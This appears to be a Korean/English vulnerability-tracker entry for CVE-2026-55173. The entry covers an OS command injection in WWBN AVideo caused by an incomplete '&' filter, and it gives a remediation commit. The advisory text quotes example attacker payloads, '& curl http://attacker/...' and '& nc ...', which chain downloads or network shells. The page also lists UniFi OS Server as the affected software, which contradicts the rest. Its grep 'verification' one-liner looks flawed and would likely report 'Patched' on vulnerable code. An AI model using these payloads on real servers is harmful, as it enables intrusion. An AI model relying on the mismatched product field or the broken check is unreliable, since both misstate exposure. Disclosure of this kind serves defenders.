🔍 CVE-2026-55173

8.1
CVSS Score
HIGH
2026-07-16
2026-10-24 20:10
✅ 완료

🇰🇷 한글 설명

WWBN AVideo 29.0 이하 버전에서 이전 취약점(CVE-2026-33482)의 불완전한 수정으로 인해 OS 명령 주입 취약점이 발생합니다. 쉘 백그라운드 연산자인 '&' 문자가 제대로 필터링되지 않아 공격자가 임의의 명령을 실행할 수 있습니다.

💡 쉬운 설명

동영상 플랫폼의 보안 구멍을 통해 해커가 서버에 몰래 명령을 내릴 수 있는 문제입니다. 이전의 수리 작업이 완벽하지 않아 특정 기호를 이용한 공격을 막지 못하는 상태입니다.

🇺🇸 원문 (English)

WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.

📍 영향받는 시스템

WWBN AVideo version 29.0 and below

⚔️ 공격 벡터

암호화된 페이로드 내에 '&' 연산자를 포함하여 명령어를 체이닝하는 방식의 네트워크 공격

🛡️ 대응 방법

GitHub의 최신 패치 커밋(c1cfa2bea8a351a1d07f5758f82887403e3abf1f)을 적용하여 업데이트하십시오.

🔧 검증 코드

코드 내에 '&' 문자를 제거하는 로직이 없고 '&&'만 처리하고 있다면 취약한 상태입니다.

Shell / Script
grep -r "sanitizeFFmpegCommand" plugin/API/standAlone/functions.php | grep "str_replace('&&'" && echo "Vulnerable: '&' is not filtered" || echo "Patched"

📊 CVSS Vector String

CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

💻 영향받는 소프트웨어

UniFi OS Server